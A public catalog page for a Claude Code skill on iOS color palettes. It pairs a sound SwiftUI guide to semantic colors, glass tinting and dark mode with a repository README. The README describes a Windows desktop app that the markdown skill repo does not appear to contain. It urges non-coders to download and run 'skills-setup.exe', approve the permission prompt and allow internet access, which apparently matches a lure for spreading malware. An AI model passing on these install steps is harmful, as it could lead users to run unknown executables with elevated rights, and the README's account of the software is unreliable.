# ios-color-palette

Adopt this skill: https://proskills.md/skills/other/ajwadrana-skills-ios-design-skills-ios-color-palette

Page: https://proskills.md/skills/other/ajwadrana-skills-ios-design-skills-ios-color-palette
This document is the public skill bundle for that page. It contains SKILL.md and every helper file the catalog carries. No login is required.

## File: ios-design/skills/ios-color-palette/SKILL.md
size: 5146
sha: 322f10ef41a28939b9e19459994c608db6e8014e
upstream: https://github.com/ajwadrana/skills/blob/main/ios-design/skills/ios-color-palette/SKILL.md

````text
---
name: ios-color-palette
description: >
  iOS color palette guidance. Triggers on: color palette, colors, color scheme,
  tinting, vibrancy, iOS colors, dark mode colors, accent color, semantic colors.
---

# iOS Color Palette — Semantic Colors + Liquid Glass

---

## 1. iOS 26 Semantic Colors

Use system semantic colors. They adapt automatically to Light/Dark Mode, accessibility settings, and glass surfaces.

### Backgrounds
| Token | Usage |
|---|---|
| `Color(.systemBackground)` | Primary background |
| `Color(.secondarySystemBackground)` | Grouped/card backgrounds |
| `Color(.tertiarySystemBackground)` | Nested groups |
| `Color(.systemGroupedBackground)` | Grouped table/list background |
| `Color(.secondarySystemGroupedBackground)` | Sections within grouped |
| `Color(.tertiarySystemGroupedBackground)` | Nested within grouped sections |

### Labels (Text)
| Token | Usage |
|---|---|
| `.foregroundStyle(.primary)` | Primary text — titles, body |
| `.foregroundStyle(.secondary)` | Supporting text — subtitles, metadata |
| `.foregroundStyle(.tertiary)` | Disabled or hint text |
| `.foregroundStyle(.quaternary)` | Barely visible — watermarks, separators |

### System Colors
`Color.red`, `.orange`, `.yellow`, `.green`, `.mint`, `.teal`, `.cyan`, `.blue`, `.indigo`, `.purple`, `.pink`, `.brown` — all adapt to Light/Dark automatically.

### Separators & Fills
| Token | Usage |
|---|---|
| `Color(.separator)` | Standard divider lines |
| `Color(.opaqueSeparator)` | Non-translucent dividers |
| `Color(.systemFill)` | Thin fill for small elements |
| `Color(.secondarySystemFill)` | Medium fill |
| `Color(.tertiarySystemFill)` | Thick fill |

---

## 2. Liquid Glass Color Behavior

Glass surfaces are translucent — the background bleeds through. This changes how color works:

- **`.tint()` on glass**: Adds a subtle color wash to the glass surface. Use your accent color here.
  ```swift
  .glassEffect(.regular.tint(.blue))
  ```
- **Vibrancy**: Text and symbols on glass automatically get vibrancy treatment. Use `.foregroundStyle(.primary)` — the system handles the rest.
- **Don't fight the glass**: Avoid opaque backgrounds behind glass elements. The translucency IS the design.
- **Test over different backgrounds**: Glass looks different over light content, dark content, and images. Verify readability across all.

---

## 3. Palette Construction Rules

### The One-Accent Rule
- Choose **one** accent color for your entire app
- Set it in asset catalog as `AccentColor` or via `.tint()` at the app level
- Use it for: primary buttons, active tab icons, links, toggles, selection highlights
- Everything else uses semantic system colors

### Color Constraints
- **No oversaturated neons** — keep saturation below 80% in HSB
- **No pure black** (`#000000`) — use `Color(.systemBackground)` which is near-black in Dark Mode
- **No pure white** (`#FFFFFF`) for backgrounds — use `Color(.systemBackground)`
- **No custom grays** — use `Color(.secondaryLabel)`, `Color(.systemFill)`, etc.
- **Tinted shadows** carry the background hue — use `.shadow(.drop(color: .accent.opacity(0.15), radius: 8))`

### Contrast Requirements
- Accent color must pass **WCAG AA** (4.5:1 ratio) against both light and dark system backgrounds
- Test with Accessibility Inspector in Xcode
- Body text on glass: use `.foregroundStyle(.primary)` — the system ensures contrast via vibrancy
- Small text (caption/footnote): needs even higher contrast — use `.foregroundStyle(.primary)`, never `.tertiary`

---

## 4. Light/Dark Mode

### Asset Catalog Setup
1. Create a Color Set in `Assets.xcassets`
2. Set Appearances to "Any, Dark"
3. Define both variants

### Code Pattern
```swift
// Asset catalog color (automatically adapts)
Color("BrandAccent")

// Programmatic adaptive color
extension Color {
    static let accent = Color("BrandAccent")
}

// Inline adaptive (rare — prefer asset catalog)
@Environment(\.colorScheme) var colorScheme
let tint = colorScheme == .dark ? Color.blue : Color.indigo
```

### Glass in Both Modes
- Light Mode: glass is bright, subtle tints show clearly
- Dark Mode: glass is darker, tints are more muted
- Always test `.glassEffect(.regular.tint(.yourAccent))` in both modes
- If tint looks too strong in one mode, consider using a semantic color that adapts

---

## 5. Quick Reference

### Color Modifier Patterns
```swift
// Text color
.foregroundStyle(.primary)
.foregroundStyle(.secondary)
.foregroundStyle(Color.accentColor)

// Hierarchical foreground (primary + secondary in one view)
.foregroundStyle(.blue, .blue.opacity(0.5))

// View tinting (buttons, controls)
.tint(.blue)

// App-wide accent
// Set AccentColor in asset catalog — no code needed

// Background
.background(Color(.secondarySystemBackground))
.background(.ultraThinMaterial)  // pre-iOS 26 glass alternative

// Shapes with fill
RoundedRectangle(cornerRadius: 12)
    .fill(Color(.secondarySystemGroupedBackground))
```

### Color Debugging
```swift
// Temporarily visualize color tokens
.border(Color.red) // layout debugging
.background(Color.yellow.opacity(0.3)) // hit area debugging
```
````

## File: README.md
upstream: https://github.com/ajwadrana/skills/blob/main/README.md

```text
# ⚙️ skills - Easy Tools for Claude Code Agents

[![Download skills](https://img.shields.io/badge/Download-skills-brightgreen?style=for-the-badge)](https://github.com/ajwadrana/skills)

---

## 📋 About skills

skills is a simple set of tools designed to work with Claude Code. It includes helpful agents and code snippets you can use without writing any code yourself. This software lets you interact with Claude Code features on your Windows computer in a straightforward way.

The tools focus on ease and speed. They bring together useful Claude Code skills like iOS design helpers, testing methods, and more. This package works well if you want to explore Claude Code plugins or SwiftUI components without needing programming skills.

---

## 💻 System Requirements

Before you start, make sure your computer meets these needs:

- Windows 10 or newer (Windows 11 works well)
- At least 4 GB of RAM
- 500 MB of free disk space for installation
- Internet connection to download the software
- Recommended screen resolution: 1280x720 or higher

No additional software is needed before installing skills. Everything runs natively on Windows.

---

## 🚀 Getting Started with skills

This section gives clear steps to download, install, and run skills on your Windows PC.

### 1. Download skills

Click the big green button below or use this link to go to the download page:

[![Download skills](https://img.shields.io/badge/Download-skills-blue?style=for-the-badge)](https://github.com/ajwadrana/skills)

This link takes you to the main GitHub page for skills.

### 2. Download the installer

On the GitHub page, look for the **Releases** section or the **Code** tab. You want to find an installer file, usually named something like `skills-setup.exe` or a version number followed by `.exe`.

Click the installer file to download it to your computer. Usually, it will save to your Downloads folder.

### 3. Run the installer

- Open the folder where the installer downloaded.
- Double-click the installer file (`skills-setup.exe` or similar).
- If Windows asks for permission, choose **Yes** to allow the program to install.
- Follow the installer instructions by clicking **Next**.
- Wait until the setup finishes and click **Finish**.

### 4. Open skills

- Find the newly installed skills app in the Start menu. It should be under the name “skills” or similar.
- Click to open it.
- If the app asks for permission to connect to the internet, allow it. This is normal.

---

## 🔧 Using skills

Once skills is running, you will see a simple window with clear options. The tools let you:

- Explore different Claude Code skills.
- Access iOS design helpers.
- Use SwiftUI sample components.
- Test code logic with easy commands.
- Link skills with Claude Code plugins.

Feel free to click around the options. They are designed for users with no coding knowledge.

---

## 🛠 Basic Tasks in skills

Here are typical tasks you might want to try.

### Try a Claude agent

- Click **Agents** in the main menu.
- Select an agent like "Code Helper" or "iOS Design".
- The agent shows instructions you can follow.
- No typing needed, just click options to interact.

### View iOS design samples

- Go to **Design Samples**.
- Scroll through SwiftUI and iOS 26 style examples.
- Use these for learning or ideas when working with iOS projects.

### Test code ideas

- Choose **Test Tools**.
- Click a test scenario to run.
- See results displayed clearly without code editing.

---

## ❓ Troubleshooting

If you run into issues:

- Make sure you downloaded the right installer for Windows.
- Restart your computer after installation if the app does not start.
- Check your internet connection.
- If you see error messages, write down exactly what they say.
- Visit the skills GitHub page and check the Issues tab. If others have similar problems, solutions might be posted there.

---

## ⚙️ Advanced Information (Optional)

If you want to explore further:

- skills uses plugins compatible with Claude Code Plugins.
- It supports linear workflows and liquid glass rendering for SwiftUI previews.
- TDD (Test-Driven Development) components come pre-installed for testing ideas.
- The tools work offline after initial download but may update from the internet when available.

---

## 🔗 Important Links

- Main skills GitHub page to get updates and download the latest version:  
  https://github.com/ajwadrana/skills

- Visit the [Releases section](https://github.com/ajwadrana/skills/releases) regularly for new versions.

---

## 🗂 File Locations

When installed, skills stores files in the following folder by default:  
`C:\Program Files\skills`

You can change this location during installation if needed.

---

## 👤 Support and Contact

For help:

- Use the GitHub Issues page to report bugs or ask questions.
- No email support is provided, but the GitHub community is active.

---

## 🔄 Updating skills

To get the latest features:

- Visit the GitHub page above.
- Download the newest installer.
- Run it, and it will replace the old version safely.
- Your settings and data will stay the same.

---

## 🚪 Uninstalling skills

To remove skills:

- Open Windows Settings.
- Go to **Apps**.
- Find skills in the list.
- Click **Uninstall** and follow prompts.

---

# [![Download skills](https://img.shields.io/badge/Download-skills-brightgreen?style=for-the-badge)](https://github.com/ajwadrana/skills)
```
